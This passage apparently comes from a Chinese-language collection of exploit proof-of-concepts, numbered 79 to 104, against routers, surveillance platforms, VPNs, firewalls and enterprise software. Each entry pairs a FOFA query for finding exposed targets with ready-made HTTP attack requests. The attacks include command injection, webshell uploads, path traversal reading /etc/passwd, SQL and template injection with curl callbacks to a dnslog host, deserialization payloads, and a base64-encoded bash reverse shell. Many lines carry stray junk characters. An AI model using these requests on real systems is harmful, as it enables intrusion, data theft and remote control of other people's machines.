: a5 x$ c: G! ]9 N1 |POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 o' H0 Y" Q; B$ s: R* UConnection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
; m5 h6 M3 S& g) y
9 E+ P& b4 P( ?7 X. [* W+ _/ h------YsOxWxSvj1KyZow1PTsh98fdu6l
5 X: M$ `- ~4 {$ t4 b) H* S# xContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
: w) P7 ~( y, M& \Content-Type: image/png
2 l. {9 e  \+ G1 l
% m+ i( L* B. @% X, ^# |YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
4 X3 j; B% V. ]* lContent-Disposition: form-data; name="target"

; F( D% D' r7 n* [# I! {/Applications/SkillDevelopAndEHS/
+ ]) \- `$ J6 i. Y& s! b& a------YsOxWxSvj1KyZow1PTsh98fdu6l--

$ Q2 p) f; `' t7 m5 A& H6 g
$ T1 Q6 R4 x1 z6 f6 `0 H! v* uGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
# ^- Q; o7 q% z: e3 M1 z3 d
6 D- c+ i; T3 j. G* [+ _, y$ z
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
% d/ V7 z9 ~) [$ pGET /goform/webRead/open/?path=|id HTTP/1.1
: z8 p0 X* v& Y0 Z- H! M( FHost:IP
# a( _/ B# x+ c9 Y& k* R' |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
! s2 u. y, `$ T; M6 P8 Y8 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ E& G6 n  I8 C+ J( |$ uAccept-Encoding: gzip, deflate
Connection: close
1 S% ]4 ]- P: f  ~. |! E' g+ R2 ZUpgrade-Insecure-Requests: 1
5 K7 H, T+ X  \* s  N
0 _# B2 i& u# y( N2 F
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
' \+ i( y  x4 I( f/ d+ hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ d9 E6 b' O# J' }) `/ X! `6 B! A; LContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
$ s6 c* p; e: l/ p) ?$ Z% sUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>
5 p$ ?5 b; z: \$ V/ X8 Y# b

GET /xykqmfxpoas.jsp HTTP/1.1
' T- y) b* j" sHost: x.x.x.x
, T/ B% \3 |) `3 I. {. o7 r' w4 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- H, h& n, k% f, r3 B$ W% N, S/ RConnection: close
9 C: l! }% r7 v; c- u& {Accept-Encoding: gzip

6 @( r6 |+ d: x8 S+ y" V- v
0 O  l! j4 O* B& x81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
  e) ~! ]( s; R5 Y6 U* Q; \2 r) PFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 F! [8 i# a" J& B5 M- z% ZConnection: close
Accept-Encoding: gzip
- f, o2 T, \$ u- _8 R' _. ^( E* C( l

82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
2 M6 s3 J8 ]$ L1 M* X1 oUser-Agent: Go-http-client/1.1
$ |& @9 ?* W( G3 N  ~( sContent-Length: 23
. E+ E4 ?1 @# MAccept-Encoding: gzip
: C3 g7 r$ @8 z4 eConnection: close
! B$ P: P# {5 X- F" i& p( ?Content-Type: application/x-www-form-urlencoded
, X. }3 ~& ~$ n9 C" `Referer: BaseURL
! _* k8 ?' D2 F
7 z$ y' d! i0 ^& E- oz1=1&z2="|id;"&z3=bhost
1 X  m9 {- u# ^/ T# G4 w2 l) f
( T8 @+ ^3 L+ {- r% d( A
83. JeecgBoot testConnection 远程命令执行
4 }* s8 M; ]% LFOFA：title=="JeecgBoot 企业级低代码平台"
% S! Y1 O# L* |: z: b# L* A) r

POST /jmreport/testConnection HTTP/1.1
1 G/ y) b% j! v( I; VHost: x.x.x.x
. v1 V& a7 ^3 X# OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 J" W! ?  E  n2 g- Y4 v; ~Connection: close
/ O& }$ G) o$ k2 ?( @1 j) kContent-Length: 8881
5 m3 o: z7 `" iAccept-Encoding: gzip
/ Y; M! Q( ?; O6 y& ~+ @' ]# QCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
9 ~9 Q: J; A5 O8 Q5 q! }6 m: W
. U  i6 h4 V' sPAYLOAD
9 t( Y" o: o/ M  t& [! u
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
) R7 M4 t+ M. c4 v5 m: l, y; ?. G6 dFOFA：title=="JeecgBoot 企业级低代码平台"
/ _! G; O0 A( t# i( P3 |8 U
1 r8 B! S! I# B
$ R" O% g. t0 q
7 p+ K. W# l2 f0 \POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
) A; a8 W2 h/ _# W! M; ~* q% f' [' iUser-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
( ?5 S! z. y1 T9 S& {Connection: close
& j$ U( ]$ Y- Y/ D- `Content-Type: application/json
Accept-Encoding: gzip
$ w" ]2 X& t  G! i6 K: a! x
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
$ c, B$ b+ w5 v7 F  "type": "0"
}
+ H7 L: [# }# a) e5 A$ O
) k; Q. n& Q& ?# i4 K
( L7 F* Y, e' Y85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD
, U; Q* K& ?# _) V) g" b
; i- x3 ~/ c: `8 s回显URL：http://x.x.x.x/userfiles/index.jsp
  ~2 |8 Q$ j' P
86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
- }! i5 R5 S# U5 {, \: V4 H4 {6 J, mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
# b2 e9 Y0 z2 R; d" }: DConnection: close
( t8 U( P2 O' m- g( XContent-Length: 44
Accept: */*
Accept-Encoding: gzip
0 B7 c+ z7 K& X7 M2 c# fAccept-Language: en
$ U  z* X5 z3 A- w  iContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
) i8 L" B+ ?- d4 u0 X  P
  [6 h# ?. Z. t3 b+ }0 }( i
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
. ~! R" K+ a) ?" xPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
, u1 \+ J3 A. Q7 ]! T6 S  rHost: X.X.X.X
7 N6 ]; K) b' \8 Q6 Q$ r4 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; `6 K9 \! E1 \- B: s4 C* pConnection: close
# x8 [3 B  T. h6 G: Z! Q8 ~1 OContent-Length: 198
6 H1 T1 B, `  |. r  C" S7 ], OAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
* t1 C9 q( s! R5 W
1 L0 M7 C0 d. j  Q0 T7 `6 P; h--qqobiandqgawlxodfiisporjwravxtvd
9 H5 ~# m6 o6 _7 HContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
0 r" U1 M3 f$ F) L2 s4 n' D9 ~Content-Type: text/plain
  s' B+ m% c! z( a) S) L( g
( e2 m" ^& p; g1 |6 a( c* j2ZqGNnsjzzU2GBBPyd8AIA7QlDq
- r" `  M" b$ y3 ?6 b  v% |--qqobiandqgawlxodfiisporjwravxtvd--
2 \+ P  [4 F1 K5 J2 M* S& h
9 |$ K6 Z9 i1 z: a1 P5 Z0 L
/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
" y; K0 {( r1 r2 ^  [6 iHost: x.x.x.xx.x.x.x
; |- y, B- ^. h; eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( D  p; ]7 S8 q  nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
$ ~; M2 y- a1 ^8 w0 ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

( I) N- f, K- ^# p
/astdfkhl.php

! @* O0 U7 R: c; J& q% T89. 致远互联FE协作办公平台editflow_manager存在sql注入
- o; m5 P4 ]- ~0 lFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
' O8 u+ p2 i6 j# Z! HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 o% ^: p" t) i: J  eContent-Length: 41
/ V( Y  s  y9 I/ \7 ?& hContent-Type: application/x-www-form-urlencoded
& x3 O4 C$ e5 iAccept-Encoding: gzip
+ `' `6 ?2 \7 G4 L5 z" Q/ b
option=2&GUID=-1'+union+select+111*222--+

6 m& g' E0 a" Q/ {* S
+ p; g3 \2 o5 L8 E3 L/ D90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
3 e- U- e  h, }! z9 n/ W4 W$ XFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
3 X1 K0 Z' L& S6 y6 B% ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
4 ?1 Y# Y+ F$ j- Y+ ^5 x' b; `Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
* @% z5 [8 y# {  A/ yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
4 |/ ^' B% ^- r! O2 ^" u( fContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
5 a0 F) n" u9 I/ X- E) [. R
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


; c5 L7 n7 n& N91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
2 ?0 m7 r4 p/ w+ _1 m6 O' t# \FOFA：title="综合安防管理平台"
( Z7 S6 k) d$ f9 EGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
# Y+ R- J- ?% j) ~Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
7 _' [( N8 i# M8 M% D1 s& {


% [6 L; N/ @! x92. 海康威视运行管理中心session命令执行
) e7 n) A% }6 h  Q) b1 i5 OFastjson命令执行
5 U5 K. d4 v7 R7 S# ~" k; H, yhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
9 l5 p& p- {" H6 }/ i$ c0 hHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
9 n1 Q' ~8 s8 DX-Requested-With: XMLHttpRequest
3 V9 q0 S: b- U. R0 _Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
6 p: j0 u' |5 r( c$ KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
  L* R% p& @, q7 dAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD


93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
& U6 N: N- g- d7 q3 \. J( cFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
1 x$ h$ D( _- t0 _$ BPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
  B6 x8 e9 y9 R! v1 ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
- V% R  g' y6 T- ^  zUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
) w8 m+ Y8 v0 O0 s6 C6 C/ XContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
' G0 V, w5 \" Z* l3 c% @* M------WebKitFormBoundarykcbkgdfx
' ?2 C8 t5 P. m. LContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
9 |6 j, y3 [; w3 E% sContent-Type: text/plain
# N% ^) S0 q* L6 T
! I2 |  e0 v0 G' i2 v7 A3 @) ewagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
5 W5 S) }( H7 k; S) dContent-Disposition: form-data; name="submit_post"
: {) D2 E' B2 P+ A
& S- n' E" D9 \9 U/ I6 uobj_app_upfile
( D  a1 [3 [7 A# l6 }  x( p------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
# J! W/ P, _: g* _$ q, x
- r# Q5 ?& O6 _" `6 k0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
2 l- _" R2 @- D8 u& E: B

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


7 Q6 t$ C$ ]/ s- z) d9 a94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
/ B9 C0 K5 C  ?/ k& y5 p* dFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
: [! [6 |7 y: JPOST /?g=obj_area_import_save HTTP/1.1
" n0 n* X( R. V  c' M. m, IHost: x.x.x.x
2 F5 `) G8 F; z8 L' g6 Y. zContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 [7 e' `' U9 k: `; f! V, T
------WebKitFormBoundarybqvzqvmt
7 A( _( T6 l  D, _. IContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
* M) A0 b) _% BContent-Disposition: form-data; name="submit_post"

6 s$ i% q1 r7 a# R; Jobj_app_upfile
------WebKitFormBoundarybqvzqvmt
4 w, `" ^# E6 |: l/ S& _Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
# ?2 i# {0 \2 w' C: N! R
' G& @0 n* h- U, B0 A
" C$ ~' l  X9 n% d* c% k$ s) q
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 `3 g* a8 ~& r5 @! D
4 y* S7 v+ V3 P# s

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
5 U: o" S$ |) i) G5 f5 CCVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
% L$ N8 @, V' Z) c    <params>
      <param>
+ \0 i% ~4 F7 e' I      <value>
        <struct>
3 e( y0 T+ \5 x; K       <member>
          <name>test</name>
          <value>
7 L! M4 S: @& {1 R* e      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
    </param>
    </params>
7 a; p. M7 `; z7 J! e7 z7 ~1 i</methodCall>
" a" `# p$ D' H1 P
4 {7 u9 |0 G- @+ `; ~2 J/ c; L3 W
, X, m+ Q' T8 D2 P用ysoserial生成payload
3 b0 h% e: ~8 X- V" xjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
  _8 Q# b" W2 Z3 I+ t

4 l; i# ^  Y7 s将生成的payload替换到上面的POC
: e6 L" B/ m) S9 U2 P, ePOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
5 ^! e' |! o2 P# i( L/ `$ QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
* F) U+ |7 v6 \- h$ }) g* \" JConnection: close
: O3 L# v, h8 _, U$ z: LContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
1 f. B+ u+ g6 m* J3 H1 ]! z! S. r
PAYLOAD

; c% S8 F, t: \& z96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 }; q: N/ q# V) n/ O4 {Content-Type: application/x-www-form-urlencoded
3 N3 e6 }0 {5 O. g0 o/ H' bContent-Length: 55
9 h6 W/ I5 Q2 f& ?) b" i+ K( L
& ^) b4 G' G, T' WgroovyProgram=throw+new+Exception('id'.execute().text);
8 n0 \; V7 L- [- e& j( {1 ^3 o

( N) }, M$ Y6 a/ W3 f反弹shell
在kali上启动一个监听
: V$ z/ G  l6 I, \6 Onc -lvp 7777
; {5 R1 h: u/ h3 c: S+ z/ h
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
3 E: h+ M8 j, nHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
1 s% g1 t7 [  }- M- j/ V  oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
/ D* t: P+ O7 c, Z: ~Content-Length: 71

& ~" b1 x( j0 A; G, I1 K) Z. I8 \$ g# ^groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
7 d9 B; F5 F" T; O% M
0 s5 e/ s3 H9 D) g- l7 J1 V, b- x97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
9 U6 D+ k8 H4 j3 rFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
% g6 i% w2 J# h6 {! V5 Y( M5 T, o5 o- cGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ j; u5 b# o- U  }Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
( a$ K6 w7 D# c/ r% `4 `3 h6 Z2 MFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
: D2 ]8 q5 ^2 m; f5 q, ?; e$ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! Q6 G* \7 H0 \% J) w. uConnection: close
$ N9 n9 u9 V+ m6 g2 }0 G0 e, v' MContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  x5 m4 F) [' H- A5 _Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

; j" F: I; n9 [3 Q9 ^9 Tid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
: r7 t! T5 B3 v1 A6 E

& L' E: a( L8 \$ K$ j99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
6 `( h; M1 {1 b1 `) Q* Q- D# ^0 cPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
5 Y1 h3 Z- N2 e" \' e1 ]7 z; J" uConnection: close
Content-Length: 154
* o: p" b2 O' [: S) D) n( {  Z) U( s. ]Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
; p) s3 X, ~. Q: s5 Y2 E* M5 JX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
9 ?9 R( r( n0 d  PCVE-2024-0352
7 }7 W  q+ x" `0 ]' V  ]5 x; c+ j" XFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
1 w) V. X  y& ?' v) bContent-Length: 201
; C6 _, _! i% |, UContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
7 {* S7 t' L" f- YAccept-Encoding: gzip
) K. k4 l. a$ q1 F& T5 o2 {  j
------WebKitFormBoundarygcflwtei
8 \/ p. X! D7 }Content-Disposition: form-data; name="file";filename="IE4MGP.php"
$ G4 `- y9 u3 }9 v6 BContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
0 e1 l* a9 I$ @5 \

101. ivanti policy secure-22.6命令注入
- J  C* |6 P/ {- _8 ]9 vCVE-2024-21887
9 R' S/ H6 L5 k4 j+ c) RFOFA：body="welcome.cgi?p=logo"
0 M: d1 ~" p3 GGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. W. r- p7 \% }8 X2 Q/ w( CConnection: close
Accept-Encoding: gzip

% ~& h9 I, \! l% T7 E# B
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
0 ^. i$ ^# Y/ U* |* I3 PCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
3 ^; Y* r$ G+ yPOST /dana-ws/saml20.ws HTTP/1.1
2 Q% _! ~! O" i: I" B6 z  SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

- d  |) r; w$ g7 \. u3 u; A9 J<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
! F# S, m. C) U1 ]3 f
103. Ivanti Pulse Connect Secure VPN XXE
8 T. |4 Y1 [- KCVE-2024-22024
( J* |' [0 x6 ~# OFOFA：body="welcome.cgi?p=logo"
1 U9 H5 I" O* Z2 k& `1 d9 QPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
# L1 a4 Q5 W6 w# F  A8 X- dHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
* B; F! e. \' qConnection: close
5 n4 s" l2 Y2 K( ?" L3 qContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

2 f: j( x6 s3 B6 F. s& u! U6 J
, Z6 y0 f* ?! ^* K其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
9 F6 }4 v* N6 w
8 z7 i+ c, Q7 [
6 `, @. U, W1 q$ I/ J/ k104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
7 Q: K$ R; m" P  `9 jCVE-2024-0569
FOFA：title="TOTOLINK"
